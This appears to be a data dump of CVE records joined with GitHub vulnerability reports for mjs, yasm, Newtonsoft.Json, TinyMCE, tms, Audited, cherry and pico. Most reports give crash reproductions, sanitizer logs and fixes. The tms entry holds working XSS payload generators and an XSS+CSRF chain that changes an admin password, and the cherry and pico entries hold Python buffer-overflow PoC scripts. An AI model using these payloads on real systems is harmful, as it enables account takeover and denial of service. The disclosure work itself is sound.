UERANSIM v3.2.6 | [Bug]: AMF crashed on SIGPIPE | https://api.github.com/repos/open5gs/open5gs/issues/2734/comments | 5 | 2023-11-13T09:19:51Z | 2023-12-28T22:31:41Z | https://github.com/open5gs/open5gs/issues/2734 | 1,990,219,100 | 2,734 | 5,881 |
CVE-2023-49551 | 2024-01-02T23:15:12.233 | An issue in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_op_json_parse function in the msj.c file. | {
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"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
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"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"cesanta",
"mjs"
] | **The name of an affected Product**
[mjs](https://github.com/cesanta/mjs)
**The affected version**
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) (Tag: [2.20.0](https://github.com/cesanta/mjs/releases/tag/2.20.0))
**Description**
An issue in cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_op_json_parse function in the mjs.c file.
**Vulnerability Type**
segmentation violation
**Environment**
- Operating System
````
Distributor ID: Ubuntu
Description: Ubuntu 18.04.6 LTS
Release: 18.04
Codename: bionic
````
- Compiler
````
Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11
Target: x86_64-pc-linux-gnu
Thread model: posix
````
**Steps to Reproduce**
download [poc.zip](https://github.com/cesanta/mjs/files/13466407/poc.zip), then
````
git clone https://github.com/cesanta/mjs
cd mjs
git checkout b1b6eac
clang -ggdb -O0 -DMJS_MAIN mjs.c -o mjs -ldl
unzip poc.zip
# run command
./mjs -f poc
````
**ASAN Info**
````
AddressSanitizer:DEADLYSIGNAL
=================================================================
==426==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004ec7f2 bp 0x7ffe719b3d70 sp 0x7ffe719b34f8 T0)
==426==The signal is caused by a READ memory access.
==426==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x4ec7f2 in mjs_op_json_parse /mjs/mjs.c:11364
#1 0x4ef755 in mjs_exec_internal /mjs/mjs.c:9044:5
#2 0x4efa40 in mjs_exec_file /mjs/mjs.c:9067:11
#3 0x4f787f in main /mjs/mjs.c:11423:11
#4 0x7fd0e0cd8c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41b7f9 in _start (/mjs/mjs+0x41b7f9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /mjs/mjs.c:11364 in mjs_op_json_parse
==426==ABORTING
```` | SEGV in mjs_op_json_parse() at mjs.c:11364 | https://api.github.com/repos/cesanta/mjs/issues/257/comments | 0 | 2023-11-26T09:51:38Z | 2023-12-22T02:39:20Z | https://github.com/cesanta/mjs/issues/257 | 2,010,974,674 | 257 | 5,882 |
CVE-2023-49552 | 2024-01-02T23:15:12.290 | An Out of Bounds Write in Cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_op_json_stringify function in the msj.c file. | {
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"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"source": "nvd@nist.gov",
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}
],
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} | [
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"url": "https://github.com/cesanta/mjs/issues/256"
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"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"cesanta",
"mjs"
] | **The name of an affected Product**
[mjs](https://github.com/cesanta/mjs)
**The affected version**
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) (Tag: [2.20.0](https://github.com/cesanta/mjs/releases/tag/2.20.0))
**Description**
An issue in cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_op_json_stringify function in the mjs.c file.
**Vulnerability Type**
Out-of-bounds Write
**Environment**
- Operating System
````
Distributor ID: Ubuntu
Description: Ubuntu 18.04.6 LTS
Release: 18.04
Codename: bionic
````
- Compiler
````
Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11
Target: x86_64-pc-linux-gnu
Thread model: posix
````
**Steps to Reproduce**
download [poc.zip](https://github.com/cesanta/mjs/files/13466217/poc.zip), then
````
git clone https://github.com/cesanta/mjs
cd mjs
git checkout b1b6eac
clang -ggdb -O0 -DMJS_MAIN mjs.c -o mjs -ldl
unzip poc.zip
# run command
./mjs -f poc
````
**ASAN Info**
````
AddressSanitizer:DEADLYSIGNAL
=================================================================
==141==ERROR: AddressSanitizer: stack-overflow on address 0x0000c40cc508 (pc 0x0000004ec73d bp 0x7fffc40cc510 sp 0x0000c40cc508 T0)
#0 0x4ec73d in mjs_op_json_stringify /mjs/mjs.c:11362:1
#1 0x4ef755 in mjs_exec_internal /mjs/mjs.c:9044:5
#2 0x4efa40 in mjs_exec_file /mjs/mjs.c:9067:11
#3 0x4f75b9 in main /mjs/mjs.c:11406:13
#4 0x7fbe53915c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41b7f9 in _start (/mjs/mjs+0x41b7f9)
SUMMARY: AddressSanitizer: stack-overflow /mjs/mjs.c:11362:1 in mjs_op_json_stringify
==141==ABORTING
```` | stack-overflow in mjs_op_json_stringify() at mjs.c:11362 | https://api.github.com/repos/cesanta/mjs/issues/256/comments | 0 | 2023-11-26T08:00:13Z | 2023-12-22T02:21:04Z | https://github.com/cesanta/mjs/issues/256 | 2,010,943,506 | 256 | 5,883 |
CVE-2023-49554 | 2024-01-03T00:15:08.987 | Use After Free vulnerability in YASM 1.3.0.86.g9def allows a remote attacker to cause a denial of service via the do_directive function in the modules/preprocs/nasm/nasm-pp.c component. | {
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"yasm",
"yasm"
] | **The name of an affected Product**
[yasm](https://github.com/yasm/yasm)
**The affected version**
Commit: [9defefa](https://github.com/yasm/yasm/commit/9defefae9fbcb6958cddbfa778c1ea8605da8b8b)
yasm 1.3.0.86.g9def
**Description**
An issue in yasm 1.3.0.86.g9def allows a attacker to cause a denial of service via the do_directive function in the
modules/preprocs/nasm/nasm-pp.c component.
**Vulnerability Type**
Use After Free
**Environment**
- Operating System
````
Distributor ID: Ubuntu
Description: Ubuntu 18.04.6 LTS
Release: 18.04
Codename: bionic
````
- Compiler
````
Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11
Target: x86_64-pc-linux-gnu
Thread model: posix
````
**Steps to Reproduce**
download [poc.zip](https://github.com/yasm/yasm/files/13415757/poc.zip), then
````
git clone https://github.com/yasm/yasm
cd yasm
git checkout 9defefa
./autogen.sh
make distclean
CC=clang \
CXX=clang++ \
CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
./configure
make -j $(nproc)
unzip poc.zip
# run command
./yasm poc
````
**ASAN info**
````
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==4513==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000011f0 at pc 0x00000056e946 bp 0x7fff5a439c10 sp 0x7fff5a439c08
READ of size 4 at 0x60e0000011f0 thread T0
#0 0x56e945 in do_directive /yasm/modules/preprocs/nasm/nasm-pp.c:2389:38
#1 0x5685dc in pp_getline /yasm/modules/preprocs/nasm/nasm-pp.c:5084:13
#2 0x56151b in nasm_preproc_get_line /yasm/modules/preprocs/nasm/nasm-preproc.c:203:12
#3 0x551395 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:219:13
#4 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5
#5 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5
#6 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5
#7 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12
#8 0x7f7cd4d0dc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x41b9c9 in _start (/yasm/yasm+0x41b9c9)
0x60e0000011f0 is located 48 bytes inside of 160-byte region [0x60e0000011c0,0x60e000001260)
freed by thread T0 here:
#0 0x496622 in free (/yasm/yasm+0x496622)
#1 0x515814 in def_xfree /yasm/libyasm/xmalloc.c:113:5
#2 0x56a089 in free_mmacro /yasm/modules/preprocs/nasm/nasm-pp.c:1163:5
#3 0x567bc7 in pp_getline /yasm/modules/preprocs/nasm/nasm-pp.c:5010:25
#4 0x56151b in nasm_preproc_get_line /yasm/modules/preprocs/nasm/nasm-preproc.c:203:12
#5 0x551395 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:219:13
#6 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5
#7 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5
#8 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5
#9 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12
#10 0x7f7cd4d0dc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
previously allocated by thread T0 here:
#0 0x49688d in malloc (/yasm/yasm+0x49688d)
#1 0x5156c7 in def_xmalloc /yasm/libyasm/xmalloc.c:69:14
#2 0x57649d in do_directive /yasm/modules/preprocs/nasm/nasm-pp.c:3212:24
#3 0x5685dc in pp_getline /yasm/modules/preprocs/nasm/nasm-pp.c:5084:13
#4 0x56151b in nasm_preproc_get_line /yasm/modules/preprocs/nasm/nasm-preproc.c:203:12
#5 0x551395 in nasm_parser_parse /yasm/modules/parsers/nasm/nasm-parse.c:219:13
#6 0x550fdf in nasm_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:66:5
#7 0x550985 in nasm_parser_do_parse /yasm/modules/parsers/nasm/nasm-parser.c:83:5
#8 0x4ca7d6 in do_assemble /yasm/frontends/yasm/yasm.c:641:5
#9 0x4c832e in main /yasm/frontends/yasm/yasm.c:877:12
#10 0x7f7cd4d0dc86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-use-after-free /yasm/modules/preprocs/nasm/nasm-pp.c:2389:38 in do_directive
Shadow bytes around the buggy address:
0x0c1c7fff81e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff81f0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd fd fd fd fd fd[fd]fd
0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c1c7fff8250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1c7fff8260: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c1c7fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8280: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4513==ABORTING
```` | heap-use-after-free in the function do_directive() at modules/preprocs/nasm/nasm-pp.c:2389 | https://api.github.com/repos/yasm/yasm/issues/249/comments | 0 | 2023-11-20T14:16:57Z | 2024-01-03T11:22:46Z | https://github.com/yasm/yasm/issues/249 | 2,002,305,193 | 249 | 5,884 |
CVE-2024-21907 | 2024-01-03T16:15:08.793 | Newtonsoft.Json before version 13.0.1 is affected by a mishandling of exceptional conditions vulnerability. Crafted data that is passed to the JsonConvert.DeserializeObject method may trigger a StackOverflow exception resulting in denial of service. Depending on the usage of the library, an unauthenticated and remote attacker may be able to cause the denial of service condition.
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> Newtonsoft.Json is vulnerable to denial-of-service (DoS) due to a stack overflow that can occur whenever nested objects are being processed. A remote attacker could cause a vulnerable application to crash by causing it to process a maliciously crafted JSON object.
The BDSA record points to this article which was created around 2018: https://alephsecurity.com/vulns/aleph-2018004
I've been searching for more information about this issue but can't find anything useful.
Do you have any more information about this?
The article states that the issue has been communicated. Has this been fixed or what's your opinion about this? | ALEPH-2018004 - DOS vulnerability | https://api.github.com/repos/JamesNK/Newtonsoft.Json/issues/2457/comments | 4 | 2021-01-19T07:17:50Z | 2025-05-20T17:43:40Z | https://github.com/JamesNK/Newtonsoft.Json/issues/2457 | 788,773,605 | 2,457 | 5,885 |
CVE-2024-21910 | 2024-01-03T16:15:09.090 | TinyMCE versions before 5.10.0 are affected by a cross-site scripting vulnerability. A remote and unauthenticated attacker could introduce crafted image or link URLs that would result in the execution of arbitrary JavaScript in an editing user's browser.
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Fixed in 5.7.1 https://github.com/tinymce/tinymce/security/advisories/GHSA-5vm8-hhgr-jcjp | Upgrade TinyMCE to fix Cross-site scripting vulnerabilities | https://api.github.com/repos/jazzband/django-tinymce/issues/366/comments | 4 | 2021-08-23T11:08:05Z | 2021-11-26T03:08:27Z | https://github.com/jazzband/django-tinymce/issues/366 | 976,911,068 | 366 | 5,886 |
CVE-2023-50630 | 2024-01-04T08:15:09.053 | Cross Site Scripting (XSS) vulnerability in xiweicheng TMS v.2.28.0 allows a remote attacker to execute arbitrary code via a crafted script to the click here function. | {
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"79"
] | 79 | https://github.com/xiweicheng/tms/issues/19 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"xiweicheng",
"tms"
] | [Suggested description]
I found many cross site scripting(XSS) vulnerabilities exists in tms (markdown XSS). Every edit or comment page with markdown may has this vulnerability. It's too many to list.
[Vulnerability Type]
Cross Site Scripting (XSS)
[Vendor of Product]
https://github.com/xiweicheng/tms
[Affected Product Code Base]
v2.28.0
[vulnerability proof]
Every markdown pages may has XSS. Here I choose this page:
http://localhost:8080/page/index.html#/chat/@super
Enter the poc here and send the message.
`[click here](javascript:{onerror=eval}throw'=eval\x28String.fromCharCode\x2897,108,101,114,116,40,49,41\x29\x29')`
The broswer alert 1
[Exploit scripts]:
`code = """alert(1)""" # js code here`
`result = ''`
`ascii_values = [str(ord(char)) for char in code]`
`for value in ascii_values:`
` result += (value + ',')`
`result = result[:-1]`
`final = "[click here](javascript:{onerror=eval}throw'=" + f"eval\\x28String.fromCharCode\\x28{result}\\x29\\x29')" `
`print(final)`
[Repair Suggestion]
Change another Markdown component, or add a filter in backend to check XSS attack when storing into MySQL.
[With CSRF vulnerability]
There is a CSRF vulnerability, we could use xss + csrf to change Admin's password.
This is the update password http package:
----------------------------------------
POST /admin/user/update2 HTTP/1.1
Host: localhost:8080
Content-Length: 32
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1701849099; JSESSIONID=9F0DF9ABD117D0289143D1B75E19E15A; Hm_lpvt_a4980171086658b20eb2d9b523ae1b7b=1701867716
Connection: close
username=super&password=12345678
---------------------------------------
Exploit script here:
`code = """var xhr = new XMLHttpRequest();`
`var url = 'http://localhost:8080/admin/user/update2';`
`xhr.onreadystatechange = function() {`
` if (xhr.readyState === XMLHttpRequest.DONE) {`
` if (xhr.status === 200) {`
` console.log('success!');`
` console.log(xhr.responseText);`
` } else {`
` console.error('failed' + xhr.status);`
` }`
` }`
`};`
`xhr.open('POST', url, true);`
`xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');`
`var postData = 'username=super&password=hacker123';`
`xhr.send(postData);""" # js code here`
`result = ''`
`ascii_values = [str(ord(char)) for char in code]`
`for value in ascii_values:`
` result += (value + ',')`
`result = result[:-1]`
`final = "[click here](javascript:{onerror=eval}throw'=" + f"eval\\x28String.fromCharCode\\x28{result}\\x29\\x29')" `
`print(final)`
Send the message and open the console. Click the message.
Logout and relogin, the password has changed!
| There are cross site scripting vulnerabilities exist in tms | https://api.github.com/repos/xiweicheng/tms/issues/19/comments | 0 | 2023-12-08T01:00:38Z | 2023-12-16T02:40:51Z | https://github.com/xiweicheng/tms/issues/19 | 2,031,753,380 | 19 | 5,887 |
CVE-2024-22047 | 2024-01-04T21:15:09.720 | A race condition exists in Audited 4.0.0 to 5.3.3 that can result in an authenticated user to cause audit log entries to be attributed to another user.
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"collectiveidea",
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We are using the audit to generate around 20 thousand records daily. In some cases we find that the user who performed the action is incorrect. Analyzing the code we saw that the Thread.current[:audited_store] method is called to get the current user. We use AWS with loadbalancer with 2 to 4 servers at peak hours.
We need help to understand why this is happening. | Incorrect User in Audit | https://api.github.com/repos/collectiveidea/audited/issues/601/comments | 6 | 2021-11-01T14:07:05Z | 2023-05-04T09:15:07Z | https://github.com/collectiveidea/audited/issues/601 | 1,041,214,509 | 601 | 5,888 |
CVE-2024-22086 | 2024-01-05T04:15:07.833 | handle_request in http.c in cherry through 4b877df has an sscanf stack-based buffer overflow via a long URI, leading to remote code execution. | {
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] | github.com | [
"hayyp",
"cherry"
] | Hi!
I discovered a remote stack buffer overflow vulnerability in the function handle_request() at http.c, line 54:
https://github.com/hayyp/cherry/blob/4b877df82f9bccd2384c58ee9145deaab94de4ba/src/http.c#L54
Any project that utilizes cherry is vulnerable to remote code execution. I have outlined the reproduction steps below, and offer some mitigations that can be implemented to protect yourself.
### Makefile Modifications
The following modifications were made to the Makefile to compile cherry with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the stack buffer overflow vulnerability:
```
CC=gcc
CFLAGS= -Wall -Wextra -DLOG_USE_COLOR -fsanitize=address -g
.PHONY: clean
cherry: server.c log.c rio.c http.c epoll.c task.c utils.c
$(CC) $^ -o $@ $(CFLAGS)
clean:
rm cherry a.out
```
### Compiling Cherry
```
$ make
```
### Proof of Concept Python3 Script
Save the following script to a file named poc.py. The script will send an HTTP request with a malformed URI (2,000,000 bytes long) to cherry and wait for a response:
```
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 3333))
sock.send(b"GET /"+b"C"*2000000+b"HTTP/1.1\r\nHost:localhost:3333\r\n\r\n")
response = sock.recv(4096)
sock.close()
```
### Starting Cherry
```
./cherry
```
### Executing our Python3 Script
```
# python3 poc.py
```
### Address Sanitizer Output
The following output was produced by address sanitizer:
```
==3024==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fcf196002f0 at pc 0x7fcf1b087791 bp 0x7ffc4e0bf090 sp 0x7ffc4e0be850
WRITE of size 8188 at 0x7fcf196002f0 thread T0
#0 0x7fcf1b087790 in scanf_common ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:342
#1 0x7fcf1b0883fe in __interceptor___isoc99_vsscanf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1612
#2 0x7fcf1b0884ee in __interceptor___isoc99_sscanf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1635
#3 0x55a0ffa0561d in handle_request /home/kali/projects/fuzzing/cherry/src/http.c:54
#4 0x55a0ffa072c7 in request_handler /home/kali/projects/fuzzing/cherry/src/utils.c:57
#5 0x55a0ffa03908 in main /home/kali/projects/fuzzing/cherry/src/server.c:69
#6 0x7fcf1ae456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x7fcf1ae45784 in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x55a0ffa03450 in _start (/home/kali/projects/fuzzing/cherry/src/cherry+0x4450) (BuildId: f07795ccbe440d35fcd7b1ea59114aa3d9bc6d55)
Address 0x7fcf196002f0 is located in stack of thread T0 at offset 752 in frame
#0 0x55a0ffa05370 in handle_request /home/kali/projects/fuzzing/cherry/src/http.c:35
This frame has 7 object(s):
[32, 176) 'sbuf' (line 41)
[240, 752) 'uri' (line 37)
[816, 1328) 'version' (line 37) <== Memory access at offset 752 partially underflows this variable
[1392, 1904) 'filename' (line 40) <== Memory access at offset 752 partially underflows this variable
[1968, 10160) 'method' (line 37) <== Memory access at offset 752 partially underflows this variable
[10416, 18608) 'buf' (line 38)
[18864, 27072) 'rio' (line 36)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:342 in scanf_common
Shadow bytes around the buggy address:
0x7fcf19600000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
0x7fcf19600080: 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00
0x7fcf19600100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fcf19600180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fcf19600200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fcf19600280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f2]f2
0x7fcf19600300: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
0x7fcf19600380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fcf19600400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fcf19600480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fcf19600500: 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3024==ABORTING
```
From the output we can verify that a WRITE of size 8188 at occurred in thread T0.
### Mitigation
The issue with the code is that it doesn't limit the number of characters read into each string. This can cause a buffer overflow if the input strings are longer than the buffers allocated for method, uri, and version. To fix this, you need to specify maximum field widths in the sscanf format string. These widths should be at least one less than the size of the buffers (to leave space for the null terminator):
Buffer overflow vulnerability:
```
sscanf(buf, "%s %s %s", method, uri, version); // for example, GET / HTTP/1.1
```
Modified code preventing a buffer overflow:
```
sscanf(buf, "%5000s %300s %300s", method, uri, version); // for example, GET / HTTP/1.1
```
### References
* https://cwe.mitre.org/data/definitions/121.html
* https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
* https://github.com/google/sanitizers/wiki/AddressSanitizer
| Remote Stack Buffer Overflow (Potential Code Execution) | https://api.github.com/repos/hayyp/cherry/issues/1/comments | 0 | 2024-01-03T23:31:25Z | 2024-01-03T23:31:25Z | https://github.com/hayyp/cherry/issues/1 | 2,064,781,262 | 1 | 5,889 |
CVE-2024-22087 | 2024-01-05T04:15:07.880 | route in main.c in Pico HTTP Server in C through f3b69a6 has an sprintf stack-based buffer overflow via a long URI, leading to remote code execution. | {
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] | github.com | [
"foxweb",
"pico"
] | Hi!
I discovered a remote stack buffer overflow vulnerability in the function void route() at main.c, line 81:
https://github.com/foxweb/pico/blob/f3b69a65d7f8cd1ab0ecb027ae6d02881e8d83f7/main.c#L79-L81
Any project that utilizes pico is vulnerable to remote code execution. I have outlined the reproduction steps below, and offer some mitigations that can be implemented to protect yourself.
### Makefile Modifications
The following modifications were made to the Makefile to compile pico with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the stack buffer overflow vulnerability:
```
all: server
clean:
@rm -rf *.o
@rm -rf server
server: main.o httpd.o
gcc -o server $^ -fsanitize=address -g
main.o: main.c httpd.h
gcc -c -o main.o main.c -fsanitize=address -g
httpd.o: httpd.c httpd.h
gcc -c -o httpd.o httpd.c -fsanitize=address -g
```
### Compiling Pico
```
$ make
```
### Proof of Concept Python3 Script
Save the following script to a file named poc.py. The script will send an HTTP request with a malformed URI (2,000,000 bytes long) to Pico and wait for a response:
```
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8000))
sock.send(b"GET /"+b"C"*2000000+b"HTTP/1.1\r\nHost:localhost:8000\r\n\r\n")
response = sock.recv(4096)
sock.close()
```
### Starting Pico
```
./server
```
### Executing our Python3 Script
```
# python3 poc.py
```
### Address Sanitizer Output
The following output was produced by address sanitizer:
```
==960119==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f214c10015f at pc 0x7f214e09215c bp 0x7ffe88c08220 sp 0x7ffe88c079e0
WRITE of size 65487 at 0x7f214c10015f thread T0
#0 0x7f214e09215b in __interceptor_vsprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1765
#1 0x7f214e09233e in __interceptor_sprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1808
#2 0x556476f2cd71 in route /home/kali/projects/fuzzing/pico/main.c:81
#3 0x556476f2e336 in respond /home/kali/projects/fuzzing/pico/httpd.c:222
#4 0x556476f2d199 in serve_forever /home/kali/projects/fuzzing/pico/httpd.c:67
#5 0x556476f2c4d3 in main /home/kali/projects/fuzzing/pico/main.c:13
#6 0x7f214de456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x7f214de45784 in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x556476f2c3b0 in _start (/home/kali/projects/fuzzing/pico/server+0x33b0) (BuildId: f62da5ef1f726838c2864638756f4930a324ceb6)
Address 0x7f214c10015f is located in stack of thread T0 at offset 351 in frame
#0 0x556476f2c7e0 in route /home/kali/projects/fuzzing/pico/main.c:44
This frame has 2 object(s):
[32, 52) 'index_html' (line 48)
[96, 351) 'file_name' (line 80) <== Memory access at offset 351 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1765 in __interceptor_vsprintf
Shadow bytes around the buggy address:
0x7f214c0ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f214c0fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f214c0fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f214c100000: f1 f1 f1 f1 00 00 04 f2 f2 f2 f2 f2 00 00 00 00
0x7f214c100080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7f214c100100: 00 00 00 00 00 00 00 00 00 00 00[07]f3 f3 f3 f3
0x7f214c100180: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x7f214c100200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f214c100280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f214c100300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f214c100380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==960119==ABORTING
```
This error is caused by writing data that exceeds the allocated buffer size. In this case, the buffer 'file_name' defined in the route function with a size of 255 bytes is overflowing. The overflow is occurring in the sprintf call, where you concatenate PUBLIC_DIR with uri or other strings to form a file path. If the combined length of these strings exceeds 255 characters, it will overflow the file_name buffer.
### Mitigation
To quickly mitigate this vulnerability, replace sprintf with snprintf, which allows you to specify the maximum number of characters to be written, including the null terminator. This prevents the stack buffer overflow by truncating the string if it exceeds the specified length.
Buffer overflow vulnerability:
```
sprintf(file_name, "%s%s", PUBLIC_DIR, uri);
```
Modified code preventing a buffer overflow:
```
snprintf(file_name, sizeof(file_name), "%s%s", PUBLIC_DIR, uri);
```
### References
* https://cwe.mitre.org/data/definitions/121.html
* https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
* https://github.com/google/sanitizers/wiki/AddressSanitizer
